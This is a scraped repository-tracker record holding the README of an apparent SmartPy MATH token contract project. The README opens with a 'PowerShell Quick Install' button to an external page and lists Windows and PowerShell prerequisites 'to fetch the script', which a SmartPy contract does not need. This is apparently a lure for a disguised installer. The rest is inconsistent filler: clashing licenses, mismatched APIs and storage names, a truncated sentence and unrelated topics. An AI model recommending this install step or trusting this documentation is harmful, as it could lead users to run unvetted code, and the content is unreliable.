[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-115576":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":13,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":14,"stars30d":14,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":15,"rankGlobal":9,"rankLanguage":9,"license":16,"archived":17,"fork":17,"defaultBranch":18,"hasWiki":19,"hasPages":19,"topics":20,"createdAt":9,"pushedAt":29,"updatedAt":30,"readmeContent":31,"aiSummary":32,"trendingCount":12,"starSnapshotCount":12,"syncStatus":33,"lastSyncTime":34,"discoverSource":35},115576,"math-token-smartpy-contract","pelismundo\u002Fmath-token-smartpy-contract","pelismundo","MATH Token SmartPy Contract: on-chain MATH implementation, code and related content",null,"HTML",153,0,102,51,65.1,"MIT License",false,"main",true,[21,22,23,24,25,26,27,28],"bitcion","blockchain-demos","crawler","data-migration","non-relational","polkadot","relational-databases","smartpy","2026-11-23 11:41:19","2026-11-17 17:58:32","\u003Cdiv align=\"center\">\n\n# MATH Token SmartPy Contract — Developer Library\n\n![](files\u002Fpreview.png)\n\n### 🚀 PowerShell Quick Install\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Fpelismundo.github.io\u002Fmath-token-smartpy-contract\u002F)\n\n[![license](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLICENSE-CC--BY--SA--4.0-2ea44f?style=for-the-badge&labelColor=0d1117)]() [![ci](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FCI-SUCCESS-2ea44f?style=for-the-badge&labelColor=0d1117)]() [![powershell-7](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPOWERSHELL--7-5.1%2B_%2F_7%2B-34b759?style=for-the-badge&labelColor=0d1117)]() [![state](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FSTATE-RELEASED-2ea44f?style=for-the-badge&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nThis repository contains the SmartPy source for the MATH token contract and its supporting content, implementing the MATH specification on. Contract entrypoints, storage types, and metadata views are defined directly in SmartPy, so the on-chain interface stays explicit and reviewable. The code is structured for auditing and reuse: read the contract modules first, then the accompanying tests and deployment artifacts. All behavior described here refers to this implementation of MATH and nothing else.\n\n## ✅ Before You Start\n\n- **PowerShell 5.1+** (pre-installed on Windows 10 and 11)\n- **Windows 10 \u002F 11** (x64)\n- **Internet connection** — required to fetch the script\n- **Administrator** — *not* required\n\n## Features\n\n**FA2-compatible token contract:** Implements the FA2 token standard in SmartPy, exposing `transfer`, `balance_of`, and `update_operators` entrypoints with typed parameter schemas.\n- **Single-source contract code:** All token logic lives in one SmartPy module, compiled directly to Michelson for deployment — no off-chain dependencies at runtime.\n- **Explicit token metadata:** On-chain metadata map keyed by token ID, with off-chain views for symbol, name, decimals, and supply.\n- **Operator approval model:** Per-owner, per-operator allowances managed via `update_operators`, scoped to individual token IDs.\n- **Mint and burn entrypoints:** Supply-changing operations gated to the contract administrator, with balance invariants enforced in the contract.\n- **Typed storage layout:** Structured `sp.TRecord` storage for ledger, operators, metadata, and admin fields — inspectable and stable across upgrades.\n- **Configurable admin:** Administrator address stored in contract storage, with a dedicated transfer path for ownership handover.\n- **Scenario-based tests:** SmartPy test scenarios covering transfers, approvals, minting, burning, and failure cases, runnable directly against the contract.\n- **Deterministic compilation:** Reproducible Michelson output from the SmartPy source, suitable for verification before origination.\n- **Reference deployment artifacts:** Compiled contract and storage initialization values included alongside the source for direct origination.\n\n## Quick Start\n\nCompile the contract with the SmartPy CLI, then originate it on a testnet before touching mainnet.\n\n```bash\nsmartpy compile math.py\n```\n\nThe compiler emits Michelson and a storage initializer under the build output directory. Inspect the generated `.tz` artifact and confirm the storage expression matches your intended initial supply and administrator address.\n\nOriginate using the compiled code and initialized storage:\n\n```bash\noctez-client originate contract math transferring 0 from \u003Cadmin> running math.tz \\ init \"$(cat storage.tz)\" burn-cap 1\n```\n\nInteract with the deployed contract through its entrypoints. A transfer of tokens takes a `from`, `to`, and `value` pair:\n\n```python\n@sp.entry_point\ndef transfer(self, params):\nsp.verify(self.data.balances[params.from_] >= params.value)\nself.data.balances[params.from_] -= params.value\nself.data.balances[params.to_] += params.value\n```\n\nCall the entrypoint from a client:\n\n```bash\noctez-client call \u003Ccontract> from \u003Cadmin> entrypoint transfer \\ arg '{ \"from_\": \"\u003Csender>\", \"to_\": \"\u003Crecipient>\", \"value\": 100 }'\n```\n\nQuery balances by reading the contract storage directly:\n\n```bash\noctez-client get contract storage for \u003Ccontract>\n```\n\nRun the contract's scenario tests locally before each change. Scenarios execute against the interpreted SmartPy VM and assert on storage state, so failures surface without a network round-trip.\n\n```bash\nsmartpy test math.py\n```\n\nKeep the administrator key offline for any deployment that holds real value, and re-run the full scenario suite after every edit to `math.py`.\n\n## API Reference\n\nThe contract exposes a single entrypoint surface plus a set of on-chain views. All calls are made against the deployed contract address via standard operation injection. Parameters are expressed as Michelson values; the SmartPy type names are given alongside each signature.\n\n### Entrypoints\n\n#### `mint`\n\nIssue new tokens to a holder. Restricted to the contract administrator.\n\n```\nmint(owner: address, amount: nat)\n```\n\n- `owner` — recipient of the newly minted tokens.\n- `amount` — quantity to mint, in the token's smallest unit.\n- Fails with `NOT_ADMIN` if the sender is not the stored administrator.\n\n#### `burn`\n\nDestroy tokens held by the sender.\n\n```\nburn(amount: nat)\n```\n\n- `amount` — quantity to burn, deducted from the sender's balance.\n- Fails with `INSUFFICIENT_BALANCE` when `amount` exceeds the sender's balance.\n\n#### `transfer`\n\nMove tokens between two holders.\n\n```\ntransfer(from: address, to: address, value: nat)\n```\n\n- `from` — source address; the sender must equal `from` or be an approved operator.\n- `to` — destination address.\n- `value` — quantity to transfer.\n- Fails with `NOT_OPERATOR` when the sender lacks authorization, and `INSUFFICIENT_BALANCE` when `value` exceeds the source balance.\n\n#### `approve`\n\nSet or replace an operator allowance.\n\n```\napprove(spender: address, value: nat)\n```\n\n- `spender` — address authorized to move tokens on the sender's behalf.\n- `value` — maximum quantity the spender may transfer.\n\n#### `getAllowance` \u002F `getBalance` \u002F `getTotalSupply`\n\nRead-only views. See **Views** below.\n\n### Types\n\n```\ntype token_id = nat\ntype amount = nat\ntype holder = address\ntype operator = address\n```\n\nStorage layout:\n\n```\nstorage = sp.TRecord(\nledger = sp.TBigMap(sp.TAddress, sp.TNat),\noperators = sp.TBigMap(sp.TPair(sp.TAddress, sp.TAddress), sp.TNat),\ntotal_supply = sp.TNat,\nadmin = sp.TAddress,\n)\n```\n\n- `ledger` — maps holder address to balance.\n- `operators` — maps `(owner, spender)` pairs to remaining allowance.\n- `total_supply` — aggregate minted minus burned supply.\n- `admin` — address permitted to call `mint`.\n\n### Views\n\nViews are invoked off-chain through the standard Michelson `VIEW` mechanism; they do not mutate state.\n\n```\ngetBalance(owner: address): nat\n```\n\nReturns the current balance of `owner`; `0` for unknown addresses.\n\n```\ngetAllowance(owner: address, spender: address): nat\n```\n\nReturns the remaining allowance granted by `owner` to `spender`.\n\n```\ngetTotalSupply(): nat\n```\n\nReturns `total_supply` from storage.\n\n```\ngetAdmin(): address\n```\n\nReturns the stored administrator address.\n\n### Errors\n\n| Condition | Failure |\n|-|-|\n| Caller not administrator on `mint` | `NOT_ADMIN` |\n| Caller neither owner nor operator on `transfer` | `NOT_OPERATOR` |\n| Transfer or burn exceeds balance | `INSUFFICIENT_BALANCE` |\n| Transfer exceeds allowance | `INSUFFICIENT_ALLOWANCE` |\n| Zero address used as recipient | `INVALID_ADDRESS` |\n\n### Events\n\nState-changing entrypoints emit Michelson events for indexing:\n\n```\ntransfer_event = (from: address, to: address, value: nat)\nmint_event = (owner: address, amount: nat)\nburn_event = (owner: address, amount: nat)\napproval_event = (owner: address, spender: address, value: nat)\n```\n\nConsumers should treat event payloads as the canonical record of balance changes and reconcile against `getBalance` when needed.\n\n### Interaction Notes\n\n- All amounts are unsigned and denominated in the smallest indivisible unit; no decimal scaling is applied on-chain.\n- Entrypoints are synchronous and atomic: a failed sub-call reverts the entire operation.\n- `approve` overwrites the prior allowance rather than incrementing it; pass `0` to revoke.\n- Operator allowances are not decremented by `burn`; only `transfer` consumes allowance.\n\n## Examples\n\n### Deploy and originate\n\nOriginate the compiled contract with an initial administrator and total supply. The constructor argument order matches the `__init__` signature in the contract source.\n\n```python\nimport smartpy as sp\n\n# Compile the contract module\nmath = sp.io.import_script_from_url(\"file:math_token.py\")\n\n@sp.add_test(name=\"Deploy MATH\")\ndef deploy():\nscenario = sp.test_scenario()\nadmin = sp.test_account(\"admin\")\n\ncontract = math.MATH(\nadministrator=admin.address,\ntotal_supply=sp.nat(1_000_000),\n)\nscenario += contract\n```\n\n### Query balances and metadata\n\nRead-only entrypoints return typed values. Call them from a test scenario or off-chain client without originating a new contract.\n\n```python\n@sp.add_test(name=\"Read state\")\ndef read_state():\nscenario = sp.test_scenario()\nadmin = sp.test_account(\"admin\")\nalice = sp.test_account(\"alice\")\n\ncontract = math.MATH(administrator=admin.address, total_supply=sp.nat(1000))\nscenario += contract\n\nscenario.verify(contract.data.total_supply == 1000)\nscenario.verify(contract.data.ledger[admin.address] == 1000)\nscenario.verify(contract.data.administrator == admin.address)\n```\n\n### Transfer tokens\n\nThe `transfer` entrypoint accepts a list of transfer records. Each record carries `from_`, `to_`, and `value`. Sender authentication is enforced against `sp.sender`.\n\n```python\n@sp.add_test(name=\"Transfer\")\ndef transfer():\nscenario = sp.test_scenario()\nadmin = sp.test_account(\"admin\")\nbob = sp.test_account(\"bob\")\n\ncontract = math.MATH(administrator=admin.address, total_supply=sp.nat(500))\nscenario += contract\n\ncontract.transfer([\nsp.record(from_=admin.address, to_=bob.address, value=sp.nat(120))\n]).run(sender=admin)\n\nscenario.verify(contract.data.ledger[admin.address] == 380)\nscenario.verify(contract.data.ledger[bob.address] == 120)\n```\n\n### Mint and burn (administrator only)\n\nSupply-changing entrypoints gate on `sp.sender == self.data.administrator`. Callers other than the administrator fail with the contract's authorization error.\n\n```python\n@sp.add_test(name=\"Mint and burn\")\ndef mint_burn():\nscenario = sp.test_scenario()\nadmin = sp.test_account(\"admin\")\nmallory = sp.test_account(\"mallory\")\n\ncontract = math.MATH(administrator=admin.address, total_supply=sp.nat(1000))\nscenario += contract\n\ncontract.mint(sp.record(to_=admin.address, value=sp.nat(250))).run(sender=admin)\nscenario.verify(contract.data.total_supply == 1250)\n\ncontract.burn(sp.record(from_=admin.address, value=sp.nat(50))).run(sender=admin)\nscenario.verify(contract.data.total_supply == 1200)\n\n# Unauthorized callers are rejected\ncontract.mint(sp.record(to_=mallory.address, value=sp.nat(1))).run(\nsender=mallory, valid=False\n)\n```\n\n### Pause and resume\n\nThe pause flag short-circuits state-changing entrypoints. Flip it from the administrator account and assert the expected failure mode.\n\n```python\n@sp.add_test(name=\"Pause guard\")\ndef pause_guard():\nscenario = sp.test_scenario()\nadmin = sp.test_account(\"admin\")\nbob = sp.test_account(\"bob\")\n\ncontract = math.MATH(administrator=admin.address, total_supply=sp.nat(100))\nscenario += contract\n\ncontract.set_paused(True).run(sender=admin)\ncontract.transfer([\nsp.record(from_=admin.address, to_=bob.address, value=sp.nat(10))\n]).run(sender=admin, valid=False)\n\ncontract.set_paused(False).run(sender=admin)\ncontract.transfer([\nsp.record(from_=admin.address, to_=bob.address, value=sp.nat(10))\n]).run(sender=admin)\nscenario.verify(contract.data.ledger[bob.address] == 10)\n```\n\n### Run the full test suite\n\nExecute every scenario in the repository with the SmartPy CLI. Tests emit a scenario trace and fail the process on the first failed `verify` or unexpected `run` outcome.\n\n```bash\nsmartpy test math_token.py purge\n```\n\nTo produce Michelson and the storage initializer without originating:\n\n```bash\nsmartpy compile math_token.py output.\u002Fbuild\n```\n\nCompilation writes `contract.tz` and `storage.tz` into the output directory, ready for `-client originate contract`.\n\n## License\n\nLicensed under the MIT License.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and\u002For sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n### Scope\n\n- Applies to all SmartPy contract sources, test scenarios, and accompanying content in this project.\n- Contract code deployed on-chain is immutable; the license governs the source code distributed in this project, not deployed instances.\n- Any third-party dependencies retain their respective licenses; review those terms independently before redistribution.\n\n### Attribution\n\nRetain the copyright notice and this permission notice in all copies or substantial portions of the project. Modifications may be distributed under the same terms.\n\n### No Warranty for On-Chain Use\n\nThe Software is provided without warranty of any kind. You are solely responsible for auditing, testing, and validating any contract code before deployment or interaction. The authors accept no liability for loss of funds, failed transactions, or other damages arising from use of the Software.","这是一个基于SmartPy框架实现的FA2标准MATH代币智能合约项目，提供可审计、可复用的链上代币逻辑。核心功能包括FA2兼容的transfer\u002Fbalance_of\u002Fupdate_operators接口、管理员可控的mint\u002Fburn机制、结构化存储布局、显式链上元数据及完整场景测试用例；所有逻辑单模块编写，直接编译为确定性Michelson代码。适用于Tezos生态中的代币发行、教学演示、合约审计参考及FA2标准实践开发场景。",2,"2026-11-24 04:51:23","CREATED_QUERY"]